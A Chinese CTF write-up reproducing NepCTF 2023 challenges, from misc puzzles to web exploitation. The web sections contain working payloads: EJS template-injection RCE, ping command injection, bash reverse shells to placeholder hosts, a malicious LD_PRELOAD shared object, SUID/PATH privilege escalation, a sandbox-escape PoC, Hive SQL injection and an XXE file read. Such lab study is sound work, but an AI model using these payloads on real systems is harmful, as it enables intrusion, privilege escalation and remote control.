NepCTF2023
Nepctf2023(复现)
比赛战队名:shimmer
MISC
checkin
NepCTF{H4ve_Fun_1N_This_Game}与AI共舞的哈夫曼
利用AI写出对应的解压函数即可
def decompress(input_file, output_file):
    with open(input_file, 'rb') as f:
        # Read frequency information
        num_symbols = int.from_bytes(f.read(1), byteorder='big')
        frequencies = {}
        for _ in range(num_symbols):
            byte = int.from_bytes(f.read(1), byteorder='big')
            freq = int.from_bytes(f.read(4), byteorder='big')
            frequencies[byte] = freq
        # Build Huffman tree
        root = build_huffman_tree(frequencies)
        # Read compressed data
        compressed_data = ''
        while True:
            byte = f.read(1)
            if not byte:
                break
            compressed_data += format(ord(byte), '08b')
    current_node = root
    decompressed_data = ''
    for bit in compressed_data:
        if bit == '0':
            current_node = current_node.left
        else:
            current_node = current_node.right
        if current_node.char is not None:
            decompressed_data += chr(current_node.char)
            current_node = root
    with open(output_file, 'w') as f:
        f.write(decompressed_data)Nepctf{huffman_zip_666}codes
题目要求读取环境变量
#include <stdio.h>
 
int main(int argc,char **argv,char **envp){
	printf("the 1st envp is : %s\n",envp[0]);
	return 0;
}env被列入黑名单,修改为其他变量名即可
//最终payload
#include <stdio.h>
 
int main(int argc,char **argv,char **enp){
	printf("the 1st envp is : %s\n",enp[12]);
	return 0;
}Nepctf{easy_codes_49260e9f-bcb8-4bb3-9a8f-7c0418978cda_[TEAM_HASH]}小叮弹钢琴
使用audacity打开
前半段为摩斯密码,长的为-,短的为.,中间空的为空格
youshouldusethistoxorsomething后半段侧过来看是一串16进制
0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17根据提示把他俩异或
b= 'youshouldusethistoxorsomething'
a = [0x37,0x0a,0x05,0x30,0x3c,0x29,0x0e,0x04,0x50,0x05,0x03,0x1c,0x2b,0x18,0x58,0x47,0x3a,0x5f,0x05,0x21,0x17,0x03,0x2c,0x39,0x23,0x0f,0x00,0x5d,0x1e,0x17]
e=''
for i in range(30):
    e += chr(ord(b[i])^a[i])
print(e)NepCTF{h4ppy_p14N0}NepCTF{h4pp陌生的语言

根据提示Atsuko Kagari,找到小魔女学院,搜索小魔女学院文字发现新月文字
然后继续找到古龙语


NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}你也喜欢三月七吗
题目
啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
需要经过啥256处理一下salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
解析题目:群名、咸(salt)、sha256
Key为salt(群名)用sha256加密的前16位
看代码发现iv和key猜测是AES256

用cyberchefMode要调为NoPadding
得到一张图片
https://img1.imgtp.com/2023/07/24/yOkXWSJT.png
搜索星穹铁道文字       (I不容易看出是大写)
NepCTF{HRP_aIways_likes_March_7th}ConnectedFive
看别人都说玩完就行,但还是搞不懂
EZII BASIC
题目关键词:1977年 世界上第一批大规模生产的个人电脑 BASIC语言




可以看到第十行是END
运行时把第十行修改一下

然后RUN

这里复现就不比对了
WEB(参考Boogipop的博客和官方WP)
(没环境复现,都是大佬的图,给的题目附件不会用)
ez_java_checkin
经典的shrio rememberMe反序列化
利用CC2的链去打
这里用工具一把梭
#算是非预期
cat /start.sh
#/bin/bash
export GZCTF_FLAG=NepcTF{Ezjava_Chekin}
echo $GZCTF_FLAG > /flag
export GZCTF_FLAG="HAHA,NO FLAG but boom."
su ctf -c "bash -c 'java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar'"#预期
ls /usr/bin -l|grep rws    ##查找可suid提权
find suid 提权
touch /tmp/evil&find /tmp/evil -exec cat /flag \;Post Crad For You
两篇文章了解ejs模板注入
Ejs模板引擎注入实现RCE - 先知社区 (aliyun.com)
https://inhann.top/2023/03/26/ejs/
题目代码
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");
const express = require('express')
const app = express()
const port = 3000
templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);
function sleep(milliSeconds){
    var StartTime =new Date().getTime();
    let i = 0;
    while (new Date().getTime() <StartTime+milliSeconds);
}
app.get('/', function(req, res) {
    return res.sendFile('./index.html', {root: __dirname});
});
app.get('/create', function(req, res) {
    let uuid;
    let name = req.query.name ?? '';
    let address = req.query.address ?? '';
    let message = req.query.message ?? '';
    do {
        uuid = crypto.randomUUID();
    } while (fs.existsSync(`${templateDir}/${uuid}.ejs`))
    try {
        if (name != '' && address != '' && message != '') {
            let source = ["source", "source1", "source2", "source3"].sort(function(){
                return 0.5 - Math.random();
            })
            fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
                fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
                sleep(2000);
            })
        } else {
            res.status(500).send("Params `name` or `address` or `message` empty");
            return;
        }
    } catch(err) {
        res.status(500).send("Failed to write file");
        return;
    }
    return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});
app.get('/page', (req,res) => {
    let id = req.query.pageid
    if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
        res.status(404).send("Sorry, no such id")
        return;
    }
    res.render(`${templateDir}/${id}.ejs`, req.query);
})
app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})关键代码
app.get('/page', (req,res) => {
    let id = req.query.pageid
    if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
        res.status(404).send("Sorry, no such id")
        return;
    }
    res.render(`${templateDir}/${id}.ejs`, req.query);
})req.query放入render存在ejs模板注入
正常ejs模板注入是利用opts.outputFunctionName 、opts.localsName 、opts.destructuredLocals 
而cve2022的Bypass是因为他们无法通过正则,于是找到opts.escapeFunction,使用opts.escapeFunction要保证opts.client不为空
此处使用cve2022的bypass (由于没有题目环境,无法确认,但应该是要绕过正则的)
payload如下
/page?pageid=符合格式的id&name=1&address=1&message=asdasd&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync('反弹shell');&settings[view options][client]=true独步天下-转生成为镜花水月中的王者
法一
大佬把nmap给dump下来分析

root权限命令执行
payload: nmap "asd;sh"法二
题目提示环境变量提权
先找拥有suid权限的
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
#操作时>/dev/null会报错只有nmap
cd /tmp
echo "/bin/sh" > ports-alive   
chmod 777 ports-alive
export PATH=/tmp:$PATH
echo $PATH
nmap 127.0.0.1
一定要是ports-alive文件,因为nmap执行时会报错ports-alive:not found(就是这里被坑了)
nmap会调用ports-alive文件
独步天下-破除虚妄_探见真实
该类题为内网题目,需要使用内网工具进行内网探测 (这里无环境复现,也没有实际尝试过,也不会尝试,所以探测过程就不写了 ,下次一定)
运行ports-alive(题目中存在的端口探测脚本)
ports-alive not found 是因为使用的是sh而ports-alive中是#!/bin/bash,把该标注修改为#!/bin/sh (那上面的nmap就不知道什么原因了)
echo "#!/bin/sh" |cat - ports-alive > temp && mv temp ports-alive
./ports-alive 192.168.200.2/24 0 100
192.168.200.1发现80和82端口
打开82端口

两处很明显能利用的地方
先尝试ping命令执行, ; && || %0a
ip_address=127.0.0.1%0als -l /flag什么权限都没有 (用户为mysql) flag_mini什么权限也没有(用户为ctf)
第二关是读取flag_mini
大佬说尝试反弹shell回来,但这里做了一些过滤(官方说ban了chmod)
我猜测bash什么的应该是被禁用了,不然应该能直接bash反弹shell
然后想起文件上传
读取app.py
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'
lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib
mylib = load_ping_library()
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')
@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)看到文件上传的路由,审计一下
要求X-Forwarded-For请求头为127.0.0.1,限定文件后缀为png,上传的png文件最后命名为avatar.png
因为要反弹shell,(可以用python,也可以用C语言)
上传png文件内容为
import os
os.popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()python3 avatar.png执行文件,成功反弹shell
这里之后的内容都不理解
需要做的是提权,看一下ps -ef有什么可疑进程

查看identity源码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++)
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];
    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;

监听了eth0的9999端口
文件描述符没有关闭,文件流也没关闭,可以连接父进程的openat和fchmod这两个内置函数
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
int main() {
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
        // 处理打开文件失败的情况
        printf("1");
    }
    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
        // 处理更改文件权限失败的情况
        printf("2");
    }
    // 使用新文件进行操作...
    return 0;
}注意,由于ctf用户运行是在沙盒里,我们也需要切换过去
cd /home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e
echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d > poc.c
gcc poc.c -o poc
eth0网卡是172.17.0.19,源码中说了,会判断我们的nc是否和eth0对应的ip一样
nc 172.17.0.19 9999
Tmp-Command:./poc
成功修改权限
Ez_include
操作一下参数得到源代码
<?php
$jump_link = $_GET['link'];
if (isset($jump_link)) {
    include($jump_link. ".txt"); // More info? See "/var/www/html/hint.ini" or "./hint.ini"
    
}  else if (isset($_GET['hint'])) {
    
    highlight_file(__FILE__);
    
}
if (!isset($_GET['hint']) && !isset($jump_link)) {
?>
所以到底来没来? 且看 /<?php echo basename(__FILE__)?>?hint
<?php
}
?>Boogipop大佬说一眼看出filterchain,虽然我在比赛前不久学过filterchain,但根本不知道这里为什么要使用
这里filterchain的问题是/tmp/resources/2.txt的内容为中文
要先对其进行base64-encode然后再进行filterchain
接着查看phpinfo(),发现禁了一堆东西
想用rce读取根目录下的flag,boogipop大佬的方法是劫持LD_PRELOAD
POST /jump.php?link=php://filter/.....
Host: nepctf.1cepeak.cn:31227
Content-Length: 15965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTxfOtxyr9SXcCydO
Connection: close
------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="file"; filename="hack.so"
Content-Type: application/octet-stream
XXXXXXX
------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="1"
var_dump(scandir('/tmp'));$a=scandir("glob:///tmp/php*");$filename="/tmp/".$a[0];var_dump($filename);putenv("LD_PRELOAD=$filename");mb_send_mail("","","");
------WebKitFormBoundaryTxfOtxyr9SXcCydO--
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundaryTxfOtxyr9SXcCydO--编译c为恶意so文件
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 <&1'");
}大佬执行的命令很细节,用glob伪协议去锁定php产生的临时文件,然后用mb_send_mail触发LD劫持
最后环境变量提权,有个showmsg文件
echo "/bib/bash">cat
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /
./showmsgHive it
hive数据库,一看版本是2.3.2.是一个有sql注入漏洞的版本,这个版本jdbc连接hive数据库会造成注入问题
题目提示token在real_token中,boogipop大佬测出能使用union
https://cwiki.apache.org/confluence/display/Hive/LanguageManual
real_token大写绕过
"name":"1\\' union all select token from REAL_TOKEN -- "hit_si11y_Drunkbaby
XPATH出过CVE,存在XXE
SELECT xpath('<?xml version = "1.0"?>\n<!DOCTYPE ANY [\n\t<!ENTITY f SYSTEM "file:///flag">\n]>\n<root>&f;</root>','/root/text()');Rerference
https://nepnep-team.feishu.cn/wiki/SlmLwUflEisv6EkIkFYc9J4Ennh
[NepCTF 2023 Web WriteUp - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/08/14/NepCTF 2023 All WriteUP/)